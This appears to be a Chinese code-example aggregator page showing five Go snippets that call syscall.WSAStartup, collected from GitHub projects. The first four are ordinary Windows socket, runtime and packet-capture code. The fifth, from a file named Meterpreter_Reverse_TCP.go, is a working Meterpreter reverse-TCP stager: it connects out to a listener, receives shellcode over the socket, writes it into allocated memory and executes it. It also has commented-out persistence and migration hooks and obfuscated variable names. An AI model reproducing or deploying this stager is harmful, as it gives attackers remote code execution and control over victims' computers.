当前位置: 首页>>代码示例>>Golang>>正文


Golang syscall.WSAStartup函数代码示例

本文整理汇总了Golang中syscall.WSAStartup函数的典型用法代码示例。如果您正苦于以下问题:Golang WSAStartup函数的具体用法?Golang WSAStartup怎么用?Golang WSAStartup使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。


在下文中一共展示了WSAStartup函数的5个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Golang代码示例。

示例1: sysInit

func sysInit() {
	var d syscall.WSAData
	e := syscall.WSAStartup(uint32(0x202), &d)
	if e != nil {
		initErr = os.NewSyscallError("WSAStartup", e)
	}
	canCancelIO = syscall.LoadCancelIoEx() == nil
	if syscall.LoadGetAddrInfo() == nil {
		lookupPort = newLookupPort
		lookupIP = newLookupIP
	}

	hasLoadSetFileCompletionNotificationModes = syscall.LoadSetFileCompletionNotificationModes() == nil
	if hasLoadSetFileCompletionNotificationModes {
		// It's not safe to use FILE_SKIP_COMPLETION_PORT_ON_SUCCESS if non IFS providers are installed:
		// http://support.microsoft.com/kb/2568167
		skipSyncNotif = true
		protos := [2]int32{syscall.IPPROTO_TCP, 0}
		var buf [32]syscall.WSAProtocolInfo
		len := uint32(unsafe.Sizeof(buf))
		n, err := syscall.WSAEnumProtocols(&protos[0], &buf[0], &len)
		if err != nil {
			skipSyncNotif = false
		} else {
			for i := int32(0); i < n; i++ {
				if buf[i].ServiceFlags1&syscall.XP1_IFS_HANDLES == 0 {
					skipSyncNotif = false
					break
				}
			}
		}
	}
}
开发者ID:maqayum,项目名称:gcc-libitm,代码行数:33,代码来源:fd_windows.go

示例2: init

func init() {
	var d syscall.WSAData
	e := syscall.WSAStartup(uint32(0x101), &d)
	if e != 0 {
		initErr = os.NewSyscallError("WSAStartup", e)
	}
}
开发者ID:IntegerCompany,项目名称:linaro-android-gcc,代码行数:7,代码来源:fd_windows.go

示例3: readRAWSocket

func (t *Listener) readRAWSocket() {

	var d syscall.WSAData
	err := syscall.WSAStartup(uint32(0x202), &d)
	if err != nil {
		log.Fatalln("Error:WSAStartup", err)
	}
	fd, err := sysSocket(syscall.AF_INET, syscall.SOCK_RAW, syscall.IPPROTO_IP)
	if err != nil {
		log.Fatalln("Error:socket", err)
	}
	defer syscall.Close(fd)

	ip := net.ParseIP(t.addr)
	if len(t.addr) == 0 || t.addr == "0.0.0.0" {
		ip = net.IPv4zero
	}
	if ip = ip.To4(); ip == nil {
		log.Fatalln("Error: non-IPv4 address " + t.addr)
	}
	la := new(syscall.SockaddrInet4)
	for i := 0; i < net.IPv4len; i++ {
		la.Addr[i] = ip[i]
	}
	if err := syscall.Bind(fd, la); err != nil {
		log.Fatalln("Error:Bind", err)
	}

	var snapshotLen int32 = 1024
	var promiscuous bool = false
	var timeout time.Duration = 30 * time.Second

	inet := getInterfaceName()
	handle, err := pcap.OpenLive(inet, snapshotLen, promiscuous, timeout)
	if err != nil {
		log.Fatal(err)
	}
	defer handle.Close()

	packetSource := gopacket.NewPacketSource(handle, handle.LinkType())
	for packet := range packetSource.Packets() {
		if tcpLayer := packet.Layer(layers.LayerTypeTCP); tcpLayer != nil {
			tcp, _ := tcpLayer.(*layers.TCP)

			src_ip := packet.NetworkLayer().NetworkFlow().Src().String()
			dest_ip := packet.NetworkLayer().NetworkFlow().Dst().String()

			t.parsePacket(src_ip, dest_ip, tcp)
		}
	}
}
开发者ID:xxoxx,项目名称:httpcap,代码行数:51,代码来源:listener_windows.go

示例4: Dial

// Etablie une connexion via socket à l'aide des librairys WSA (windows).
func (c *Conn) Dial(port int, addr [4]byte) (err error) {
	c.sa = s.SockaddrInet4{Port: port, Addr: addr}
	fmt.Println("OVERLAPPED")
	fmt.Println(c.overlapped)
	err = s.WSAStartup(uint32(0x202), &c.wsadata)
	if err != nil {
		return
	}
	c.sd, err = s.Socket(s.AF_INET, s.SOCK_STREAM, 6)
	if err != nil {
		return
	}
	s.Connect(c.sd, &c.sa)
	return
}
开发者ID:adrien3d,项目名称:gobox,代码行数:16,代码来源:connection_windows.go

示例5: main

func main() {
	//RSE.Persistence()
	var WSA_Data syscall.WSAData
	syscall.WSAStartup(uint32(0x202), &WSA_Data)
	Socket, _ := syscall.Socket(syscall.AF_INET, syscall.SOCK_STREAM, 0)
	Socket_Addr := syscall.SockaddrInet4{Port: 5555, Addr: [4]byte{127, 0, 0, 1}}
	syscall.Connect(Socket, &Socket_Addr)
	var Length [4]byte
	WSA_Buffer := syscall.WSABuf{Len: uint32(4), Buf: &Length[0]}
	UitnZero_1 := uint32(0)
	DataReceived := uint32(0)
	syscall.WSARecv(Socket, &WSA_Buffer, 1, &DataReceived, &UitnZero_1, nil, nil)
	Length_int := binary.LittleEndian.Uint32(Length[:])
	if Length_int < 100 {
		main()
	}
	Shellcode_Buffer := make([]byte, Length_int)

	var Shellcode []byte
	WSA_Buffer = syscall.WSABuf{Len: Length_int, Buf: &Shellcode_Buffer[0]}
	UitnZero_1 = uint32(0)
	DataReceived = uint32(0)
	TotalDataReceived := uint32(0)
	for TotalDataReceived < Length_int {
		syscall.WSARecv(Socket, &WSA_Buffer, 1, &DataReceived, &UitnZero_1, nil, nil)
		for i := 0; i < int(DataReceived); i++ {
			Shellcode = append(Shellcode, Shellcode_Buffer[i])
		}
		TotalDataReceived += DataReceived
	}

	Addr := Allocate(uintptr(Length_int + 5))
	AddrPtr := (*[990000]byte)(unsafe.Pointer(Addr))
	SocketPtr := (uintptr)(unsafe.Pointer(Socket))
	AddrPtr[0] = 0xBF
	AddrPtr[1] = byte(SocketPtr)
	AddrPtr[2] = 0x00
	AddrPtr[3] = 0x00
	AddrPtr[4] = 0x00
	for BpuAKrJxfl, IIngacMaBh := range Shellcode {
		AddrPtr[BpuAKrJxfl+5] = IIngacMaBh
	}
	//RSE.Migrate(Addr, Length_int)
	syscall.Syscall(Addr, 0, 0, 0, 0)
}
开发者ID:RuthHaephrati,项目名称:HERCULES,代码行数:45,代码来源:Meterpreter_Reverse_TCP.go


注:本文中的syscall.WSAStartup函数示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。